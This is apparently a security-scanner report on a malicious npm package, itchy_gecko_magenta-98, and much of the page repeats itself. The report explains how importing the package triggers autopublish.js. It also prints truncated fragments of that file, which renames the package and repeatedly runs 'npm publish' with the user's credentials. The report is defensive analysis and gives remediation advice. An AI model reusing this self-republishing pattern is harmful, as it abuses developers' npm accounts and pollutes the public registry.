registry / Malware / itchy_gecko_magenta-98

itchy_gecko_magenta-98

Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish package ke npmjs.com dengan`npm publish`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil

This report shows the evidence for itchy_gecko_magenta-98@2.3.4, the only known version.

AI Security Review

scanned 12h ago · by lpm-firewall-ai

The package’s import entry automatically rewrites package metadata and repeatedly publishes to npm using available credentials. Although the README describes a user-run publishing script, the `main` entry makes these account actions reachable merely by importing the package.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing the package through its main entry point; no install lifecycle hook is declared.

Impact

Uses available npm credentials to repeatedly publish under generated package names and alters the working package metadata.

Mechanism

Top-level code renames the package, writes package metadata, runs `npm publish --access public`, then schedules another publish.

Attack narrative

The main entry points to autopublish.js, and that file starts publishing at module load. It changes the current package name, writes package.json and package-lock.json, invokes `npm publish --access public`, and schedules another attempt after a delay. This can use the environment’s npm credentials to publish repeatedly under generated names without an explicit publishing command by the importing application.

AI rationale

Evidence

package.jsonautopublish.jspackage-lock.json

Network endpoints1

npmjs.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package main entry points to autopublish.js, which starts its publishing routine at module load.
The routine renames the current package and writes the changed name to package.json and package-lock.json.
It runs `npm publish --access public` and schedules repeated publishing after a delay.

Evidence against

The README documents publishing as the script’s purpose and tells users to run it with `node autopublish.js`.
The manifest declares no install lifecycle scripts.

Behavioral surface

Source

ChildProcessFilesystemShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 14.2 KB of source

Source & flagged code

7 flagged

autopublish.jsView file

1const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => {

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

autopublish.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> autopublish.js L1: const fs = require('fs'); L2: const { exec } = require('child_process'); L3: ... L28: const animationInterval = setInterval(() => { L29: process.stdout.write('\r' + animation[currentFrame]); L30: currentFrame = (currentFrame + 1) % animation.length; ... L32: L33: let packageJson = fs.readFileSync('package.json'); L34: let packageData = JSON.parse(packageJson); L35: let randomString = generateRandomString(10); ... L45: L46: exec('npm publish --access public', (error, stdout, stderr) => {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

autopublish.jsView on unpkg · L1

Findings

2 Critical6 High1 Medium3 Low

CriticalNpm Publish Wormautopublish.js

CriticalTrigger Reachable Dangerous Capabilityautopublish.js

HighChild Processautopublish.js

HighShell

HighKnown Malware Source Fingerprint Signatureautopublish3.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceautopublish.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to itchy_gecko_magenta-98@2.3.4.

The versions list below shows the verdict for each recorded version.

Avoid installing itchy_gecko_magenta-98@2.3.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-04 09:50:52.363Z (UTC).

Source advisory published: 2026-11-02 09:44:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

2.3.4latestshownMaliciousMalwareBlockPublishedMay 21, 2024, 7:51 PM

registry / Malware / itchy_gecko_magenta-98

itchy_gecko_magenta-98

This report shows the evidence for itchy_gecko_magenta-98@2.3.4, the only known version.

AI Security Review

scanned 12h ago · by lpm-firewall-ai

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing the package through its main entry point; no install lifecycle hook is declared.

Impact

Uses available npm credentials to repeatedly publish under generated package names and alters the working package metadata.

Mechanism

Top-level code renames the package, writes package metadata, runs `npm publish --access public`, then schedules another publish.

Attack narrative

AI rationale

Evidence

package.jsonautopublish.jspackage-lock.json

Network endpoints1

npmjs.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package main entry points to autopublish.js, which starts its publishing routine at module load.
The routine renames the current package and writes the changed name to package.json and package-lock.json.
It runs `npm publish --access public` and schedules repeated publishing after a delay.

Evidence against

The README documents publishing as the script’s purpose and tells users to run it with `node autopublish.js`.
The manifest declares no install lifecycle scripts.

Behavioral surface

Source

ChildProcessFilesystemShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 14.2 KB of source

Source & flagged code

7 flagged

autopublish.jsView file

Critical

Npm Publish Worm

Source mutates package metadata and republishes itself to npm.

autopublish.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

autopublish.jsView on unpkg · L1

Findings

2 Critical6 High1 Medium3 Low

CriticalNpm Publish Wormautopublish.js

CriticalTrigger Reachable Dangerous Capabilityautopublish.js

HighChild Processautopublish.js

HighShell

HighKnown Malware Source Fingerprint Signatureautopublish3.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceautopublish.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to itchy_gecko_magenta-98@2.3.4.

The versions list below shows the verdict for each recorded version.

Avoid installing itchy_gecko_magenta-98@2.3.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-04 09:50:52.363Z (UTC).

Source advisory published: 2026-11-02 09:44:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

2.3.4latestshownMaliciousMalwareBlockPublishedMay 21, 2024, 7:51 PM

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages